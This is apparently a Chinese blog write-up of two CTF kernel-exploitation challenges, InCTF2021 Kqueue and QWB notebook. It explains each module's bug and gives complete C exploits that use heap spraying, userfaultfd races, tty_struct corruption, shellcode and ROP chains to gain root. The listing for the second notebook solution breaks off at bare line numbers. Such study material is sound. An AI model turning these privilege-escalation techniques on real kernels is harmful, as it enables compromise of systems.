0%

kernelpwn 再入门

之前学习过一会kernelpwn,但感觉学习的不是很深入很扎实,导致现在好多东西也都忘了,那就再入门一次吧。

heap-overflow

就像用户态的堆溢出可以进行漏洞利用,同样的内核态的上堆溢出也可以进行漏洞利用,内核态的堆是通过slub/slab进行管理的,他把空闲队列以链表的形式组织,所以在我现在认为堆溢出一共有两种利用方式,一种是通过溢出覆盖下一个堆的next来达到任意地址申请,另一种是heap spray,我们可以利用内核本身的一些结构体,这些结构体里有函数指针,通过溢出可以覆盖到函数指针,进而进行rip的劫持。

例题:InCTF2021 - Kqueue

启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel ./bzImage \
-append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd ./rootfs.cpio \
-net user \
-net nic

通过脚本可知cpu使用了kvm进行虚拟,虚拟机开了kaslr,没开kpti

文件系统启动脚本

由于题目的文件系统由buildroot构建,我不是很懂,所以换了个文件系统,不影响做题,就是加载完自写内核模块然后设置权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh

echo "IF8gIF9fICAgICAgICAgICAgICAgXyAgICAgICAgICBfICAgICAKfCB8LyAvX19fICBfX18gXyBfXyB8IHwgICAgX18gX3wgfF9fICAKfCAnIC8vIF8gXC8gXyBcICdfIFx8IHwgICAvIF9gIHwgJ18gXCAKfCAuIFwgIF9fLyAgX18vIHwgfCB8IHxfX3wgKF98IHwgfF8pIHwKfF98XF9cX19ffFxfX198X3wgfF98X19fX19cX18sX3xfLl9fLyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK" | base64 -d

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/baby.ko
chmod 644 /dev/kqueue
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
cd /home/pwn
setsid cttyhack setuidgid 1000 sh
umount /proc
poweroff -f

内核模块

题目直接给了源码,可以直接阅读源码,通过阅读源码可以逆出这个ko模块在内核实现了一种队列管理(私以为不是很写的不是很高效),这是ioctl()函数源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static noinline long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg){

long result;

request_t request;

mutex_lock(&operations_lock);

if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))){
err("[-] copy_from_user failed");
goto ret;
}

switch(cmd){
case CREATE_KQUEUE:
result = create_kqueue(request);
break;
case DELETE_KQUEUE:
result = delete_kqueue(request);
break;
case EDIT_KQUEUE:
result = edit_kqueue(request);
break;
case SAVE:
result = save_kqueue_entries(request);
break;
default:
result = INVALID;
break;
}
ret:
mutex_unlock(&operations_lock);
return result;
}

传入不同的cmd执行不同的函数,这些函数看到函数名就能知道是干啥的,非常奇怪的是他会对传入的request结构体进行检查,如果不符合要求就会执行err函数,但是这个函数不会exit(),所以检查相当于没检查.

1
2
3
4
static long err(char* msg){
printk(KERN_ALERT "%s\n",msg);
return -1;
}

其中比较重要的就是create_kqueue()函数和save_kqueue_entries()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
static noinline long create_kqueue(request_t request){
long result = INVALID;

if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");

/* You can't ask for 0 queues , how meaningless */
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");

/* Asking for too much is also not good */
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");

/* Initialize kqueue_entry structure */
queue_entry *kqueue_entry;

/* Check if multiplication of 2 64 bit integers results in overflow */
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
err("[-] Integer overflow");

/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");

/* Total size should not exceed a certain limit */
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");

/* All checks done , now call kzalloc */
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));

/* Main queue can also store data */
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

/* Fill the remaining queue structure */
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;

/* Get to the place from where memory has to be handled */
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

/* Allocate all kqueue entries */
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;

uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;

/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}

/* Find an appropriate slot in kqueues */
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}

if(j>MAX_QUEUES)
err("[-] No kqueue slot left");

/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
}

static noinline long delete_kqueue(request_t request){
/* Check for out of bounds requests */
if(request.queue_idx>MAX_QUEUES)
err("[-] Invalid idx");

/* Check for existence of the request kqueue */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] Requested kqueue does not exist");

kfree(queue);
memset(queue,0,queue->queue_size);
kqueues[request.queue_idx] = NULL;
return 0;
}


/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request){

/* Check for out of bounds queue_idx requests */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");

/* Check if queue is already saved or not */
if(isSaved[request.queue_idx]==true)
err("[-] Queue already saved");

queue *queue = validate(kqueues[request.queue_idx]);

/* Check if number of requested entries exceed the existing entries */
if(request.max_entries < 1 || request.max_entries > queue->max_entries)
err("[-] Invalid entry count");

/* Allocate memory for the kqueue to be saved */
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));

/* Each saved entry can have its own size */
if(request.data_size > queue->queue_size)
err("[-] Entry size limit exceed");

/* Copy main's queue's data */
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
else
err("[-] Internal error");
new_queue += queue->data_size;

/* Get to the entries of the kqueue */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

/* copy all possible kqueue entries */
uint32_t i=0;
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}

/* Mark the queue as saved */
isSaved[request.queue_idx] = true;
return 0;
}

creat_kqueue中存在一个一个整数溢出__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space),request.max_entries是一个uint32_t变量,所以如果传入的是0xffffffff,拿相加就会变成0,然后在save_kqueue中存在validate(memcpy(new_queue,queue->data,request.data_size));,如果在create_kqueue中整数溢出了,那这里的new_queue就是一个queue大小是0x20,但是memcpy的大小是我们可以控制的,所以到了这步就可以溢出0x20的堆了,溢出0x20的堆改怎么利用呢。这里就用到了第二种思路。

当打开一个stat文件比如(“/proc/self/stat”)的时候就会在内核分配一个seq_operations结构体,这个结构体的大小是0x20,记录着四个函数指针,当我们向stat使用read函数读的时候就会执行seq_operations结构体的start函数指针,所以我们可以利用堆喷让这个结构体置于new_queue堆块的下面,然后溢出覆盖第一个函数指针,最后read(seq_fd,data,0x20)就可以劫持rip了。

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

由于没有开smep所以可以直接把rip劫持到用户态,但注意此时的栈依旧在内核上,里面有内核代码地址信息,可以通过写shellcode从栈上得到commit_credsprepare_kernel_cred地址,然后提权后返回用户态getshell

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell pk");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
void create(int fd,uint32_t max_entries,uint16_t data_size){
request_t request={
.max_entries=max_entries,
.data_size=data_size
};
ioctl(fd,0xDEADC0DE,&request);
}
void edit(int fd,uint16_t queue_idx,uint16_t entry_idx,char* data){
request_t request={
.data=data,
.entry_idx=entry_idx,
.queue_idx=queue_idx
};
ioctl(fd,0xDAADEEEE,&request);
}
void save(int fd,uint16_t queue_idx,uint32_t max_entries,uint16_t data_size){
request_t request={
.max_entries=max_entries,
.data_size=data_size,
.queue_idx=queue_idx
};
ioctl(fd,0xB105BABE,&request);
}
size_t getshell=(size_t)usr_shell;
void shellcode(){
__asm__(
"mov r12, qword ptr [rsp+0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c140;"
"add r13, 0x8c580;"
"mov rdi, 0;"
"call r13;"
"mov rdi ,rax;"
"call r12;"
"swapgs;"
"mov r12, user_ss;"
"push r12;"
"mov r12, user_sp;"
"push r12;"
"mov r12, user_rflags;"
"push r12;"
"mov r12, user_cs;"
"push r12;"
"mov r12, getshell;"
"push r12;"
"iretq;"
);
}
int seq_fd[0x200]={0};
void heap_spray(){
for(int i=0;i<0x200;i++){
seq_fd[i]=open("/proc/self/stat", O_RDONLY);
if(!seq_fd[i]){
puts("/proc/self/stat open fail");
exit(0);
}
}
}
int main(){
saveStatus();
printf("%p\n",(size_t)shellcode);
int fd=open("/dev/kqueue",O_RDONLY);
create(fd,0xffffffff,0x28);
size_t data[5]={0,0,0,0,(size_t)shellcode};
edit(fd,0,0,(char*)data);
heap_spray();
save(fd,0,0,0x28);
for(int i=0;i<0x200;i++){
read(seq_fd[i],data,0x20);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
/ $ id
uid=1000(pwn) gid=1000 groups=1000
/ $ ./exp
[*] Status has been saved.
0x400b9a
[ 8.958689] [-] kqueue data size exceed
[ 8.973254] [-] Invalid entry count
[ 8.973640] [-] Entry size limit exceed
getshelling
[*]----getshell pk
/ # id
uid=0(root) gid=0

heap spray

内核堆喷,依我之见主要针对的是UAF和堆溢出,利用大量的堆喷来得到UAF所指的堆或者申请到可以堆溢出的堆的下一个堆,Kqueue就是这个思路,下面的例题notebook是上一个思路。

启动脚本

从启动脚本中可以看见开起了kaslr,smep,smap,然后设置了两个cpu,每个cpu两个核,所以最多可以跑四个线程。然后从/sys/devices/system/cpu/vulnerabilities/*文件中可以看出开启了KPTI.

1
2
3
#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s
1
2
3
4
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Mitigation: PTI
Mitigation: __user pointer sanitization
Mitigation: Full generic retpoline

文件系统启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

mount -t proc proc /proc
mount -t sysfs sysfs /sys

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

ifup eth0 > /dev/null 2>/dev/null

insmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
echo "Welcome to QWB!"

#sh
setsid cttyhack setuidgid 0000 sh

umount /proc
umount /sys

poweroff -d 1 -n -f

这道题虽然是堆喷,但是最关键的还是条件竞争,而且是我现在水平来看是比较难以察觉但是理解了又觉得十分厉害的利用,条件竞争主要还是使用copy函数,漏洞就出在addedit函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
__int64 v3; // rdx
__int64 v4; // r13
note *v5; // rbx
size_t size; // rax
__int64 v7; // r12
__int64 v8; // rbx

_fentry__(idx);
if ( idx > 0xF )
{
v8 = -1LL;
printk("[x] Edit idx out of range.\n", newsize);
return v8;
}
v4 = v3;
v5 = &notebook[idx];
raw_read_lock(&lock);
size = v5->size;
v5->size = newsize;
if ( size == newsize )
{
v8 = 1LL;
goto editout;
}
v7 = (*(__int64 (__fastcall **)(void *, size_t, __int64))krealloc.gap0)(v5->note, newsize, 37748928LL);
copy_from_user(name, v4, 0x100LL);
if ( !v5->size )
{
printk("free in fact");
v5->note = 0LL;
v8 = 0LL;
goto editout;
}
if ( (unsigned __int8)_virt_addr_valid(v7) )
{
v5->note = (void *)v7;
v8 = 2LL;
editout:
raw_read_unlock(&lock);
printk("[o] Edit success. %s edit a note.\n", name);
return v8;
}
printk("[x] Return ptr unvalid.\n");
raw_read_unlock(&lock);
return 3LL;
}

__int64 __fastcall noteadd(size_t idx, size_t size, void *buf)
{
__int64 v3; // rdx
__int64 v4; // r13
note *v5; // rbx
size_t v6; // r14
__int64 v7; // rdx
__int64 v8; // rbx

_fentry__(idx, size, buf);
if ( idx > 0xF )
{
v8 = -1LL;
printk("[x] Add idx out of range.\n");
}
else
{
v4 = v3;
v5 = &notebook[idx];
raw_read_lock(&lock);
v6 = v5->size;
v5->size = size;
if ( size > 0x60 )
{
v5->size = v6;
v8 = -2LL;
printk("[x] Add size out of range.\n");
}
else
{
copy_from_user(name, v4, 0x100LL);
if ( v5->note )
{
v5->size = v6;
v8 = -3LL;
printk("[x] Add idx is not empty.\n", v4, v7);
}
else
{
v5->note = (void *)_kmalloc(size, 37748928LL);
printk("[+] Add success. %s left a note.\n", name);
v8 = 0LL;
}
}
raw_read_unlock(&lock);
}
return v8;
}

解法一:userfaultfd+uaf+tty_struct+rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/tty.h>
#define tty_struct_size 0x2e0
#define ptm_unix98_ops_offset 0xe8e440
#define pty_unix98_ops_offset 0xe8e320
#define push_rdi_pop_rsp_pop_rbp_add_rax_rdx_ret 0xffffffff81238d50
#define push_rdx_add_byte_r11_0x41_r11b_pop_rsp_pop_rbp_ret 0xffffffff8170dd41
#define commit_creds 0xffffffff810a9b40
#define init_cred 0xffffffff8225c940
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81a00929
#define pop_rdi_ret 0xffffffff81007115
#define pop_rdx_pop_rbp_ret 0xffffffff8103658c
#define push_rdi_pop_rsp_pop_rbp_or_eax_edx_ret 0xffffffff8143f4e1
#define pop_rsp_ret 0xffffffff810bc110
#define ret 0xffffffff81000091
#define prepare_kernel_cred 0xffffffff810a9ef0
#define mov_rdi_rax_call_rdx 0xffffffff8270747f
#define pop_rdx_ret 0xffffffff81358842
#define MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833


size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}


char *page;
size_t page_size;
static pthread_t monitor_thread;
void errExit(char *msg){
puts(msg);
exit(0);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(1000);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}



typedef struct
{
size_t idx;
size_t size;
char * buf;
}Userarg;

int note_fd;
char *userfaultfd_buf;
size_t page_size;

void add(int note_fd,size_t idx,size_t size,char *buf){
Userarg userarg={
.idx=idx,
.buf=buf,
.size=size
};
ioctl(note_fd,0x100,&userarg);
}

void edit(int note_fd,size_t idx,size_t size,char *buf){
Userarg userarg={
.idx=idx,
.buf=buf,
.size=size
};
ioctl(note_fd,0x300,&userarg);
}

void gift(int note_fd,char *buf){
Userarg useraeg={
.buf=buf
};
ioctl(note_fd,0x64,&useraeg);
}

void edit_userfaultfd(int idx){
edit(note_fd,idx,0x2000,userfaultfd_buf);
}

void add_userfaultfd(int idx){
add(note_fd,idx,0x50,userfaultfd_buf);
}


struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};


typedef struct {
char *buf;
size_t idx;
}Notebook;
int main(){
saveStatus();
size_t tty_struct[0x200]={0};
int tty_fd[0x100]={0};
pthread_t tid;
note_fd=open("/dev/notebook", O_RDWR);

char name[0x200];
Notebook notebook[0x10];
page_size=sysconf(_SC_PAGE_SIZE);
userfaultfd_buf=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page=malloc(page_size);
memset(page,1,page_size);
registerUserFaultFd(userfaultfd_buf,page_size,fault_handler_thread);
for(int i=0;i<0x10;i++){
edit(note_fd,i,0x2e0,name);
}
sleep(1);

for(int i=0;i<0x10;i++){
pthread_create(&tid,NULL,edit_userfaultfd,i);
}
sleep(3);
for(int i=0;i<0x100;i++){
tty_fd[i]=open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(!tty_fd[i]){
errExit("ptmx open fail");
}
}
sleep(1);

for(int i=0;i<0x10;i++){
pthread_create(&tid,NULL,add_userfaultfd,i);
}
sleep(3);

int fake_tty_ops_idx=-1,rop_idx=-1;
for(int i=0;i<0x10;i++){
read(note_fd,tty_struct,i);
unsigned int magic=*(unsigned int *)tty_struct;
if(magic!=0x5401){
if(fake_tty_ops_idx==-1){
fake_tty_ops_idx=i;
printf("[*] fake_tty_ops_idx %d\n",fake_tty_ops_idx=i);
}else{
printf("[*] rop_idx %d\n",rop_idx=i);
break;
}
}
}
if(fake_tty_ops_idx==-1||rop_idx==-1){
errExit("fake_tty_ops_idx or rop_idx find fail");
}

int uaf_tty=-1;
for(int i=0;i<0x10;i++){
read(note_fd,tty_struct,i);
unsigned int magic=*(unsigned int *)tty_struct;
if(magic==0x5401){
printf("[*] uaf_idx %d\n",uaf_tty=i);
break;
}
}
if(uaf_tty==-1){
errExit("not uaf_tty");
}
size_t tty_ops=tty_struct[3];
if((tty_ops&0xfff)==0x440){
kernel_base=tty_ops-ptm_unix98_ops_offset;
}else{
kernel_base=tty_ops-pty_unix98_ops_offset;
}
printf("\033[34m\033[1m[*] kernel_addr %p\033[0m\n",kernel_base);

edit(note_fd,fake_tty_ops_idx,0x200,name);
edit(note_fd,rop_idx,0x200,name);
gift(note_fd,notebook);
size_t init_cred_addr=init_cred-vmlinux_nokaslr_addr+kernel_base;
size_t commit_creds_addr=commit_creds-vmlinux_nokaslr_addr+kernel_base;
size_t swapgs_restore_regs_and_return_to_usermode_addr=swapgs_restore_regs_and_return_to_usermode-vmlinux_nokaslr_addr+kernel_base;
size_t pop_rdi_ret_addr=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
size_t pop_rdx_pop_rbp_ret_addr=pop_rdx_pop_rbp_ret-vmlinux_nokaslr_addr+kernel_base;
size_t fake_tty_ops[64]={0};
size_t fake_tty_ops_addr=notebook[fake_tty_ops_idx].buf;
size_t rop_addr=notebook[rop_idx].buf;
size_t fake_tty_struct[10]={0};
memcpy(fake_tty_struct,tty_struct,0x50);
size_t rop[64]={0};
fake_tty_struct[3]=fake_tty_ops_addr;
fake_tty_struct[1]=pop_rsp_ret-vmlinux_nokaslr_addr+kernel_base;
fake_tty_struct[2]=rop_addr;

((struct tty_operations *)fake_tty_ops)->write=push_rdi_pop_rsp_pop_rbp_or_eax_edx_ret-vmlinux_nokaslr_addr+kernel_base;



int i=0;
rop[i++]=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
rop[i++]=0;
rop[i++]=prepare_kernel_cred-vmlinux_nokaslr_addr+kernel_base;
rop[i++]=MOV_RDI_RAX_POP_RBP_RET-vmlinux_nokaslr_addr+kernel_base;
rop[i++]=0;
rop[i++]=commit_creds-vmlinux_nokaslr_addr+kernel_base;
rop[i++]=swapgs_restore_regs_and_return_to_usermode_addr+22;
rop[i++]=0;
rop[i++]=0;
rop[i++]=(size_t)&usr_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;


write(note_fd,fake_tty_ops,fake_tty_ops_idx);
write(note_fd,rop,rop_idx);
write(note_fd,fake_tty_struct,uaf_tty);
printf("getshell :%p\n",usr_shell);
for(int i=0;i<0x100;i++){
write(tty_fd[i],name,0x100);
}
}

解法二:userfaultfd+uaf+tty_struct+work_for_cpu_fn

在开启了多核支持的内核中都会有这个work_for_cpu_fn,它就相当于一个gadget,执行rdi+0x20,参数是rdi+0x28,把返回值保存在rdi+0x30的地方,假如我控制tty_structtty_operations的的ioctl函数指针为work_for_cpu_fn,在调用ioctl(tty_fd,0x200,0x200)就会调用tty_operationsioctl也就是work_for_cpu_fn函数,此时rdi就是tty_struct,而此时tty_struct能劫持的话就能任意函数执行了,我们可以执行prepare_kernel_cred(0)然后把返回值存储在tty_struct+0x30的地方,执行完work_for_cpu_fn之后内核自动返回用户态,就不用我们自己构造了,然后再执行一次commit_creds(tty_struct+0x30)就可以得到root权限了,最后返回用户态执行system("/bin/sh");

1
2
3
4
5
6
7
8
9
10
11
12
13
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
